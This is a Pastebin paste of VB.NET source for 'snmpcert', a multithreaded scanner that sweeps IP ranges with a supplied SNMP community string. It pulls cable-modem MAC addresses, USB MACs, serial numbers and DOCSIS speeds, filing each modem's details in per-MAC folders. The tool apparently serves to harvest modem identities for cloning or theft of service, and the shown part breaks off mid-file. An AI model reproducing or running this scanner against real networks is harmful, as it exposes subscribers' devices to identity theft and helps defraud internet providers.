Share Pastebin
Guest
Public paste!

dan

By: a guest | Mar 21st, 2010 | Syntax: VB.NET | Size: 383.65 KB | Hits: 81 | Expires: Never
Copy text to clipboard
  1. #Region "import"
  2. 'imports for project threading
  3. Imports System.Threading
  4. 'imports for accessing internal programs
  5. Imports snmpcertthread.My.Resources
  6. 'imports for threading
  7. Imports System.Runtime.InteropServices
  8. ' imports for file system
  9. Imports System.IO
  10. 'no idea
  11. Imports System.Text
  12. 'for networking web client.
  13. Imports System.Net
  14. #End Region
  15.  
  16. Public Class Form1
  17.    
  18.     Dim community_string As String
  19.     Dim t1_1 As Integer = 1
  20.     Dim tsharedata As Integer = 1
  21.     Dim octet3 As Integer = 0
  22.     Dim octet4 As Integer = 0
  23.  
  24.     Dim track As Integer = 0
  25.     Dim total_modems As Integer = 0
  26.     Dim output As String
  27.  
  28.     Dim t As Thread
  29.     Dim t1 As Thread
  30.     Dim t2 As Thread
  31.     Dim t3 As Thread
  32.     Dim t4 As Thread
  33.     Dim t5 As Thread
  34.     Dim t6 As Thread
  35.     Dim t7 As Thread
  36.     Dim t8 As Thread
  37.     Dim t9 As Thread
  38.  
  39.     Dim allmodems As Integer = 0
  40.     Dim extracted As Integer = 0
  41.  
  42.  
  43.  
  44.  
  45.     Private Sub BackgroundProcess()
  46.         Do While True
  47.  
  48.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  49.             ''Thread.Sleep(100)
  50.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  51.                 octet3 += 1
  52.                 tsharedata = 0
  53.                 If octet3 = 255 Then
  54.                     Exit Sub
  55.                 End If
  56.             End If
  57.  
  58.             If t1_1 = 255 Then
  59.                 tsharedata += 1
  60.                 t1_1 = 0
  61.             Else : t1_1 += 1 : check(octet3, tsharedata, t1_1)
  62.             End If
  63.  
  64.  
  65.         Loop
  66.  
  67.  
  68.     End Sub
  69.  
  70.     Private Sub BackgroundProcess1()
  71.         Do While True
  72.  
  73.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  74.             ''Thread.Sleep(100)
  75.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  76.                 octet3 += 1
  77.                 tsharedata = 0
  78.                 If octet3 = 255 Then
  79.                     Exit Sub
  80.                 End If
  81.             End If
  82.  
  83.             If t1_1 = 255 Then
  84.                 tsharedata += 1
  85.                 t1_1 = 0
  86.             Else : t1_1 += 1 : check1(octet3, tsharedata, t1_1)
  87.             End If
  88.  
  89.  
  90.         Loop
  91.  
  92.  
  93.     End Sub
  94.     Private Sub BackgroundProcess2()
  95.         Do While True
  96.  
  97.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  98.             ''Thread.Sleep(100)
  99.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  100.                 octet3 += 1
  101.                 tsharedata = 0
  102.                 If octet3 = 255 Then
  103.                     Exit Sub
  104.                 End If
  105.             End If
  106.  
  107.             If t1_1 = 255 Then
  108.                 tsharedata += 1
  109.                 t1_1 = 0
  110.             Else : t1_1 += 1 : check2(octet3, tsharedata, t1_1)
  111.             End If
  112.  
  113.  
  114.         Loop
  115.  
  116.  
  117.     End Sub
  118.     Private Sub BackgroundProcess3()
  119.         Do While True
  120.  
  121.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  122.             ''Thread.Sleep(100)
  123.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  124.                 octet3 += 1
  125.                 tsharedata = 0
  126.                 If octet3 = 255 Then
  127.                     Exit Sub
  128.                 End If
  129.             End If
  130.  
  131.             If t1_1 = 255 Then
  132.                 tsharedata += 1
  133.                 t1_1 = 0
  134.             Else : t1_1 += 1 : check3(octet3, tsharedata, t1_1)
  135.             End If
  136.  
  137.  
  138.         Loop
  139.  
  140.  
  141.     End Sub
  142.     Private Sub BackgroundProcess4()
  143.         Do While True
  144.  
  145.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  146.             ''Thread.Sleep(100)
  147.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  148.                 octet3 += 1
  149.                 tsharedata = 0
  150.                 If octet3 = 255 Then
  151.                     Exit Sub
  152.                 End If
  153.             End If
  154.  
  155.             If t1_1 = 255 Then
  156.                 tsharedata += 1
  157.                 t1_1 = 0
  158.             Else : t1_1 += 1 : check4(octet3, tsharedata, t1_1)
  159.             End If
  160.  
  161.  
  162.         Loop
  163.  
  164.  
  165.     End Sub
  166.     Private Sub BackgroundProcess5()
  167.         Do While True
  168.  
  169.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  170.             ''Thread.Sleep(100)
  171.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  172.                 octet3 += 1
  173.                 tsharedata = 0
  174.                 If octet3 = 255 Then
  175.                     Exit Sub
  176.                 End If
  177.             End If
  178.  
  179.             If t1_1 = 255 Then
  180.                 tsharedata += 1
  181.                 t1_1 = 0
  182.             Else : t1_1 += 1 : check5(octet3, tsharedata, t1_1)
  183.             End If
  184.  
  185.  
  186.         Loop
  187.  
  188.     End Sub
  189.     Private Sub BackgroundProcess6()
  190.         Do While True
  191.  
  192.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  193.             ''Thread.Sleep(100)
  194.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  195.                 octet3 += 1
  196.                 tsharedata = 0
  197.                 If octet3 = 255 Then
  198.                     Exit Sub
  199.                 End If
  200.             End If
  201.  
  202.             If t1_1 = 255 Then
  203.                 tsharedata += 1
  204.                 t1_1 = 0
  205.             Else : t1_1 += 1 : check6(octet3, tsharedata, t1_1)
  206.             End If
  207.  
  208.  
  209.         Loop
  210.  
  211.  
  212.     End Sub
  213.     Private Sub BackgroundProcess7()
  214.         Do While True
  215.  
  216.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  217.             ''Thread.Sleep(100)
  218.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  219.                 octet3 += 1
  220.                 tsharedata = 0
  221.                 If octet3 = 255 Then
  222.                     Exit Sub
  223.                 End If
  224.             End If
  225.  
  226.             If t1_1 = 255 Then
  227.                 tsharedata += 1
  228.                 t1_1 = 0
  229.             Else : t1_1 += 1 : check7(octet3, tsharedata, t1_1)
  230.             End If
  231.  
  232.  
  233.         Loop
  234.  
  235.  
  236.     End Sub
  237.     Private Sub BackgroundProcess8()
  238.         Do While True
  239.  
  240.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  241.             ''Thread.Sleep(100)
  242.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  243.                 octet3 += 1
  244.                 tsharedata = 0
  245.                 If octet3 = 255 Then
  246.                     Exit Sub
  247.                 End If
  248.             End If
  249.  
  250.             If t1_1 = 255 Then
  251.                 tsharedata += 1
  252.                 t1_1 = 0
  253.             Else : t1_1 += 1 : check8(octet3, tsharedata, t1_1)
  254.             End If
  255.  
  256.  
  257.         Loop
  258.  
  259.  
  260.     End Sub
  261.     Private Sub BackgroundProcess9()
  262.         Do While True
  263.  
  264.             Console.WriteLine("Iterations: " & octet4 & "." & octet3 & "." & tsharedata & "." & t1_1)
  265.             ''Thread.Sleep(100)
  266.             If tsharedata = 255 AndAlso t1_1 = 255 Then
  267.                 octet3 += 1
  268.                 tsharedata = 0
  269.                 If octet3 = 255 Then
  270.                     Exit Sub
  271.                 End If
  272.             End If
  273.  
  274.             If t1_1 = 255 Then
  275.                 tsharedata += 1
  276.                 t1_1 = 0
  277.             Else : t1_1 += 1 : check9(octet3, tsharedata, t1_1)
  278.             End If
  279.  
  280.  
  281.         Loop
  282.  
  283.  
  284.     End Sub
  285.  
  286.     Sub create_exe()
  287.         Dim tempPath As String = "C:\snmpcert\snmpget.exe"
  288.         Dim tempPath1 As String = "C:\snmpcert\netsnmp.dll"
  289.         Dim tempPath2 As String = "C:\snmpcert\snmpwalk.exe"
  290.         Dim tempPath3 As String = "C:\snmpcert\snmpset.exe"
  291.         If Directory.Exists("C:\snmpcert") Then
  292.         Else
  293.             Directory.CreateDirectory("C:\snmpcert")
  294.         End If
  295.         If extracted = 0 Then
  296.             extracted = 1
  297.             Dim currentAssembly As Reflection.Assembly = Reflection.Assembly.GetExecutingAssembly()
  298.             Dim currentAssembly1 As Reflection.Assembly = Reflection.Assembly.GetCallingAssembly()
  299.             Dim resource As String = String.Empty
  300.             Dim resource1 As String = String.Empty
  301.             Dim resource2 As String = String.Empty
  302.             Dim resource3 As String = String.Empty
  303.             Dim arrResources As String() = currentAssembly.GetManifestResourceNames()
  304.             Dim arrResources1 As String() = currentAssembly.GetManifestResourceNames()
  305.             Dim arrResources2 As String() = currentAssembly.GetManifestResourceNames()
  306.             Dim arrResources3 As String() = currentAssembly.GetManifestResourceNames
  307.  
  308.             For Each resource In arrResources
  309.                 If resource.IndexOf(".1.exe") > -1 Then _
  310.                                 Exit For
  311.             Next
  312.             For Each resource1 In arrResources1
  313.                 If resource1.IndexOf(".dll") > -1 Then _
  314.                     Exit For
  315.             Next
  316.  
  317.  
  318.             For Each resource2 In arrResources2
  319.                 If resource2.IndexOf(".2.exe") > -1 Then _
  320.                     Exit For
  321.             Next
  322.  
  323.             For Each resource3 In arrResources3
  324.                 If resource3.IndexOf(".3.exe") > -1 Then
  325.                     Exit For
  326.                 End If
  327.             Next
  328.  
  329.             Dim resourceStream As IO.Stream = currentAssembly.GetManifestResourceStream(resource)
  330.             Dim resourceStream1 As IO.Stream = currentAssembly.GetManifestResourceStream(resource1)
  331.             Dim resourceStream2 As IO.Stream = currentAssembly.GetManifestResourceStream(resource2)
  332.             Dim resourceStream3 As IO.Stream = currentAssembly.GetManifestResourceStream(resource3)
  333.             Dim writer As New IO.FileStream(tempPath, IO.FileMode.Create, IO.FileAccess.Write)
  334.             Dim writer1 As New IO.FileStream(tempPath1, IO.FileMode.Create, IO.FileAccess.Write)
  335.             Dim writer2 As New IO.FileStream(tempPath2, IO.FileMode.Create, IO.FileAccess.Write)
  336.             Dim writer3 As New IO.FileStream(tempPath3, IO.FileMode.Create, IO.FileAccess.Write)
  337.             Const size As Int16 = 4096
  338.             Dim bytes(size) As Byte
  339.             Dim numBytes As Int32 = 0
  340.             Const size1 As Int16 = 4096
  341.             Dim bytes1(size1) As Byte
  342.             Dim numBytes1 As Int32 = 0
  343.             Const size2 As Int16 = 4096
  344.             Dim bytes2(size2) As Byte
  345.             Dim numBytes2 As Int32 = 0
  346.             Const size3 As Int16 = 4096
  347.             Dim bytes3(size3) As Byte
  348.             Dim numBytes3 As Int32 = 0
  349.             Do
  350.                 numBytes = resourceStream.Read(bytes, 0, size)
  351.                 writer.Write(bytes, 0, numBytes)
  352.             Loop While (numBytes > 0)
  353.             Do
  354.                 numBytes1 = resourceStream1.Read(bytes1, 0, size1)
  355.                 writer1.Write(bytes1, 0, numBytes1)
  356.             Loop While (numBytes1 > 0)
  357.  
  358.  
  359.             Do
  360.                 numBytes2 = resourceStream2.Read(bytes2, 0, size2)
  361.                 writer2.Write(bytes2, 0, numBytes2)
  362.             Loop While (numBytes2 > 0)
  363.  
  364.             Do
  365.                 numBytes3 = resourceStream3.Read(bytes3, 0, size3)
  366.                 writer3.Write(bytes3, 0, numBytes3)
  367.             Loop While (numBytes3 > 0)
  368.  
  369.             resourceStream.Close()
  370.             writer.Close()
  371.             resourceStream1.Close()
  372.             writer1.Close()
  373.             resourceStream2.Close()
  374.             writer2.Close()
  375.         End If
  376.     End Sub
  377.     Dim hasrun As Integer = 0
  378.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  379.        
  380.         community_string = txtcommunity.Text
  381.        
  382.         Button1.Enabled = False
  383.         Button2.Enabled = True
  384.         create_exe()
  385.  
  386.  
  387.         Dim boxip() As String
  388.         boxip = Split(TextBox1.Text, ".")
  389.         If boxip.Length > 3 Then
  390.  
  391.             boxip(1) = Replace(boxip(1), ".", Nothing)
  392.             boxip(2) = Replace(boxip(2), ".", Nothing)
  393.             boxip(3) = Replace(boxip(3), ".", Nothing)
  394.             boxip(0) = Replace(boxip(0), ".", Nothing)
  395.             octet4 = boxip(0)
  396.             octet3 = boxip(1)
  397.             tsharedata = boxip(2)
  398.             t1_1 = boxip(3)
  399.         Else : MsgBox("error please enter a vaild IP Address!") : Exit Sub
  400.         End If
  401.  
  402.         If community_string = Nothing Then
  403.             MsgBox("Error I need a community string! ")
  404.             Exit Sub
  405.         End If
  406.         If hasrun = 0 Then
  407.             hasrun = 1
  408.             t = New Thread(AddressOf Me.BackgroundProcess)
  409.             t1 = New Thread(AddressOf Me.BackgroundProcess1)
  410.             t2 = New Thread(AddressOf Me.BackgroundProcess2)
  411.             t3 = New Thread(AddressOf Me.BackgroundProcess3)
  412.             t4 = New Thread(AddressOf Me.BackgroundProcess4)
  413.             t5 = New Thread(AddressOf Me.BackgroundProcess5)
  414.             t6 = New Thread(AddressOf Me.BackgroundProcess6)
  415.             t7 = New Thread(AddressOf Me.BackgroundProcess7)
  416.             t8 = New Thread(AddressOf Me.BackgroundProcess8)
  417.             t9 = New Thread(AddressOf Me.BackgroundProcess9)
  418.  
  419.             Timer1.Enabled = True
  420.             t.Start()
  421.  
  422.             Thread.Sleep(Val(TextBox2.Text))
  423.             t1.Start()
  424.             Thread.Sleep(Val(TextBox2.Text))
  425.             t2.Start()
  426.             Thread.Sleep(Val(TextBox2.Text))
  427.             t3.Start()
  428.             Thread.Sleep(Val(TextBox2.Text))
  429.             t4.Start()
  430.             Thread.Sleep(Val(TextBox2.Text))
  431.             t5.Start()
  432.             Thread.Sleep(Val(TextBox2.Text))
  433.             t6.Start()
  434.             Thread.Sleep(Val(TextBox2.Text))
  435.             t7.Start()
  436.             Thread.Sleep(Val(TextBox2.Text))
  437.             t8.Start()
  438.             Thread.Sleep(Val(TextBox2.Text))
  439.             t9.Start()
  440.         Else
  441.  
  442.  
  443.             t = New Thread(AddressOf Me.BackgroundProcess)
  444.             t1 = New Thread(AddressOf Me.BackgroundProcess1)
  445.             t2 = New Thread(AddressOf Me.BackgroundProcess2)
  446.             t3 = New Thread(AddressOf Me.BackgroundProcess3)
  447.             t4 = New Thread(AddressOf Me.BackgroundProcess4)
  448.             t5 = New Thread(AddressOf Me.BackgroundProcess5)
  449.             t6 = New Thread(AddressOf Me.BackgroundProcess6)
  450.             t7 = New Thread(AddressOf Me.BackgroundProcess7)
  451.             t8 = New Thread(AddressOf Me.BackgroundProcess8)
  452.             t9 = New Thread(AddressOf Me.BackgroundProcess9)
  453.  
  454.             Timer1.Enabled = True
  455.             t.Start()
  456.  
  457.             Thread.Sleep(Val(TextBox2.Text))
  458.             t1.Start()
  459.             Thread.Sleep(Val(TextBox2.Text))
  460.             t2.Start()
  461.             Thread.Sleep(Val(TextBox2.Text))
  462.             t3.Start()
  463.             Thread.Sleep(Val(TextBox2.Text))
  464.             t4.Start()
  465.             Thread.Sleep(Val(TextBox2.Text))
  466.             t5.Start()
  467.             Thread.Sleep(Val(TextBox2.Text))
  468.             t6.Start()
  469.             Thread.Sleep(Val(TextBox2.Text))
  470.             t7.Start()
  471.             Thread.Sleep(Val(TextBox2.Text))
  472.             t8.Start()
  473.             Thread.Sleep(Val(TextBox2.Text))
  474.             t9.Start()
  475.  
  476.         End If
  477.  
  478.     End Sub
  479.  
  480.  
  481.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  482.         TextBox1.Text = octet4 & "." & octet3 & "." & tsharedata & "." & t1_1
  483.         totalcount.Text = allmodems
  484.         numfound.Text = total_modems
  485.     End Sub
  486.  
  487.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  488.         Button2.Enabled = False
  489.         Timer1.Enabled = False
  490.         Timer2.Enabled = False
  491.         txtdiag.Text = "Please Wait shutting down Scan...."
  492.         Try
  493.  
  494.             t.Abort()
  495.             t1.Abort()
  496.             t2.Abort()
  497.             t3.Abort()
  498.             t4.Abort()
  499.             t5.Abort()
  500.             t6.Abort()
  501.             t7.Abort()
  502.             t8.Abort()
  503.             t9.Abort()
  504.             Button1.Enabled = True
  505.         Catch ex As Exception
  506.             Button1.Enabled = True
  507.  
  508.             updates()
  509.  
  510.             Exit Sub
  511.         End Try
  512.  
  513.     End Sub
  514.     Sub updates()
  515.         Dim oWrite As System.IO.TextWriter = New StreamWriter("c:\snmpcert\settings.ini")
  516.         oWrite.WriteLine(TextBox1.Text)
  517.         oWrite.WriteLine(txtcommunity.Text)
  518.         oWrite.WriteLine(portsnmp.Text)
  519.         oWrite.Flush()
  520.         oWrite.Close()
  521.         oWrite = Nothing
  522.  
  523.     End Sub
  524.  
  525.  
  526.     Sub check(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  527.  
  528.  
  529.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  530.         Dim x = "C:\snmpcert\snmpget.exe"
  531.         Dim myProcess As Process = New Process
  532.         Dim s As String = ""
  533.         myProcess.StartInfo.FileName = x
  534.         myProcess.StartInfo.UseShellExecute = False
  535.         myProcess.StartInfo.CreateNoWindow = True
  536.         myProcess.StartInfo.RedirectStandardInput = True
  537.         myProcess.StartInfo.RedirectStandardOutput = True
  538.         myProcess.StartInfo.RedirectStandardError = True
  539.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  540.         myProcess.Start()
  541.         Dim sIn As StreamWriter = myProcess.StandardInput
  542.         sIn.AutoFlush = True
  543.         Dim sOut As StreamReader = myProcess.StandardOutput
  544.         Dim sErr As StreamReader = myProcess.StandardError
  545.  
  546.  
  547.         s = sOut.ReadToEnd()
  548.         Dim e As String = sErr.ReadToEnd
  549.         Console.WriteLine(s)
  550.         output = e
  551.         output = s
  552.         If Not myProcess.HasExited Then
  553.             myProcess.Kill()
  554.         End If
  555.         sIn.Close()
  556.         sOut.Close()
  557.         sErr.Close()
  558.         myProcess.Close()
  559.         Dim temp As String = ""
  560.         temp = Replace(check_cannot_find_module(s), "STRING: ", "")
  561.         temp = Replace(temp, Chr(34), "")
  562.         If temp = Nothing Then
  563.             temp = ""
  564.         Else
  565.             If temp = "No Such Object available on this agent at this OID" Then
  566.                 allmodems += 1
  567.             End If
  568.             temp = temp.ToString.ToUpper
  569.             Dim values As String
  570.             values = temp
  571.             Dim sites As String() = Nothing
  572.             sites = values.Split(" ")
  573.             Dim t As String
  574.             For Each t In sites
  575.                 If t = "NO" Then
  576.                     track = 1
  577.  
  578.                 End If
  579.  
  580.             Next t
  581.         End If
  582.         If temp.ToString = "" Then
  583.             Timer1.Enabled = True
  584.             Exit Sub
  585.         ElseIf track = 1 Then
  586.             track = 0
  587.             Timer1.Enabled = True
  588.             Exit Sub
  589.         Else
  590.             total_modems += 1
  591.  
  592.             Try
  593.                 Dim mymac1 As Process = New Process
  594.                 Dim sm As String
  595.                 mymac1.StartInfo.FileName = x
  596.                 mymac1.StartInfo.UseShellExecute = False
  597.                 mymac1.StartInfo.CreateNoWindow = True
  598.                 mymac1.StartInfo.RedirectStandardInput = True
  599.                 mymac1.StartInfo.RedirectStandardOutput = True
  600.                 mymac1.StartInfo.RedirectStandardError = True
  601.                 mymac1.StartInfo.Arguments = "-v2c -O v -c " & community_string.ToString & " " & modem_ip.ToString & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.4.0"
  602.                 mymac1.Start()
  603.                 Dim sInm As StreamWriter = mymac1.StandardInput
  604.                 sInm.AutoFlush = True
  605.                 Dim sOutm As StreamReader = mymac1.StandardOutput
  606.                 Dim sErrm As StreamReader = mymac1.StandardError
  607.                 sm = sOutm.ReadToEnd()
  608.                 If Not mymac1.HasExited Then
  609.                     mymac1.Kill()
  610.                 End If
  611.                 sInm.Close()
  612.                 sOutm.Close()
  613.                 sErrm.Close()
  614.                 mymac1.Close()
  615.                 Dim tempm As String = ""
  616.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  617.                 tempm = Replace(tempm, "Hex-", Nothing)
  618.                 tempm = Replace(tempm, Chr(34), Nothing)
  619.                 tempm = Replace(tempm, ":", Nothing)
  620.                 tempm = Replace(tempm, " ", Nothing)
  621.                 temp = Replace(temp, vbCrLf, Nothing)
  622.                 tempm = Replace(tempm, vbCrLf, Nothing)
  623.                 Dim usbmac As Process = New Process
  624.                 Dim sm1 As String
  625.                 usbmac.StartInfo.FileName = x
  626.                 usbmac.StartInfo.UseShellExecute = False
  627.                 usbmac.StartInfo.CreateNoWindow = True
  628.                 usbmac.StartInfo.RedirectStandardInput = True
  629.                 usbmac.StartInfo.RedirectStandardOutput = True
  630.                 usbmac.StartInfo.RedirectStandardError = True
  631.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  632.                 usbmac.Start()
  633.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  634.                 sInm1.AutoFlush = True
  635.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  636.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  637.                 sm1 = sOutm1.ReadToEnd()
  638.                 If Not usbmac.HasExited Then
  639.                     usbmac.Kill()
  640.                 End If
  641.                 sInm1.Close()
  642.                 sOutm1.Close()
  643.                 sErrm1.Close()
  644.                 usbmac.Close()
  645.                 Dim tempum As String = ""
  646.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  647.                 tempum = Replace(tempum, "Hex-", Nothing)
  648.                 tempum = Replace(tempum, Chr(34), Nothing)
  649.                 tempum = Replace(tempum, ":", Nothing)
  650.                 tempum = Replace(tempum, " ", Nothing)
  651.                 tempum = Replace(tempum, vbCrLf, Nothing)
  652.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  653.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  654.                 'get SERIAL number
  655.                 Dim myProcessSER As Process = New Process
  656.                 Dim sSER As String
  657.                 myProcessSER.StartInfo.FileName = x
  658.                 myProcessSER.StartInfo.UseShellExecute = False
  659.                 myProcessSER.StartInfo.CreateNoWindow = True
  660.                 myProcessSER.StartInfo.RedirectStandardInput = True
  661.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  662.                 myProcessSER.StartInfo.RedirectStandardError = True
  663.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  664.                 myProcessSER.Start()
  665.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  666.                 sInSER.AutoFlush = True
  667.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  668.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  669.                 sSER = sOutSER.ReadToEnd()
  670.                 If Not myProcessSER.HasExited Then
  671.                     myProcessSER.Kill()
  672.                 End If
  673.                 sInSER.Close()
  674.                 sOutSER.Close()
  675.                 sErrSER.Close()
  676.                 myProcessSER.Close()
  677.                 Dim tempSER As String
  678.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  679.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  680.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  681.  
  682.  
  683.  
  684.  
  685.  
  686.  
  687.                 'get download speed
  688.  
  689.                 Dim myProcessspeedd As Process = New Process
  690.                 Dim sspeedd As String
  691.                 myProcessspeedd.StartInfo.FileName = x
  692.                 myProcessspeedd.StartInfo.UseShellExecute = False
  693.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  694.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  695.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  696.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  697.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  698.                 myProcessspeedd.Start()
  699.  
  700.  
  701.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  702.                 sInSpeedd.AutoFlush = True
  703.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  704.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  705.                 sspeedd = sOutSpeedd.ReadToEnd()
  706.                 If Not myProcessspeedd.HasExited Then
  707.                     myProcessspeedd.Kill()
  708.                 End If
  709.                 sInSpeedd.Close()
  710.                 sOutSpeedd.Close()
  711.                 sErrSpeedd.Close()
  712.                 myProcessspeedd.Close()
  713.                 Dim tempSpeedd As String
  714.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  715.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  716.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  717.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  718.                 'get upload speed
  719.                 Dim myProcessspeedu As Process = New Process
  720.                 Dim sspeedu As String
  721.                 myProcessspeedu.StartInfo.FileName = x
  722.                 myProcessspeedu.StartInfo.UseShellExecute = False
  723.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  724.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  725.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  726.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  727.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  728.                 myProcessspeedu.Start()
  729.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  730.                 sInSpeedu.AutoFlush = True
  731.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  732.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  733.                 sspeedu = sOutSpeedu.ReadToEnd()
  734.                 If Not myProcessspeedu.HasExited Then
  735.                     myProcessspeedu.Kill()
  736.                 End If
  737.                 sInSpeedu.Close()
  738.                 sOutSpeedu.Close()
  739.                 sErrSpeedu.Close()
  740.                 myProcessspeedu.Close()
  741.                 Dim tempSpeedu As String
  742.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  743.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  744.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  745.  
  746.  
  747.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  748.                     'get download speed doccis 1.1 +
  749.                     Dim myProcessspeedd1 As Process = New Process
  750.                     Dim sspeedd1 As String
  751.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  752.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  753.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  754.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  755.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  756.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  757.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  758.                     myProcessspeedd1.Start()
  759.  
  760.  
  761.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  762.                     sInSpeedd1.AutoFlush = True
  763.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  764.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  765.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  766.                     If Not myProcessspeedd1.HasExited Then
  767.                         myProcessspeedd1.Kill()
  768.                     End If
  769.                     sInSpeedd1.Close()
  770.                     sOutSpeedd1.Close()
  771.                     sErrSpeedd1.Close()
  772.                     myProcessspeedd1.Close()
  773.                     Dim tempSpeedd1 As String
  774.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  775.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  776.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  777.                     tempSpeedd = tempSpeedd1
  778.  
  779.                     Dim testing As String
  780.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  781.                     ''MsgBox(testing)
  782.                     Dim split As String()
  783.                     split = testing.Split(",")
  784.                     tempSpeedd = split(0).ToString
  785.                     tempSpeedu = split(4).ToString
  786.                     ''MsgBox(tempSpeedd)
  787.                     ''MsgBox(tempSpeedu)
  788.                 End If
  789.  
  790.  
  791.  
  792.                 Dim oFileSER As System.IO.File
  793.                 Dim oWriteSER As System.IO.StreamWriter
  794.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  795.                 oWriteSER = oFileSER.CreateText(filedirSER)
  796.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
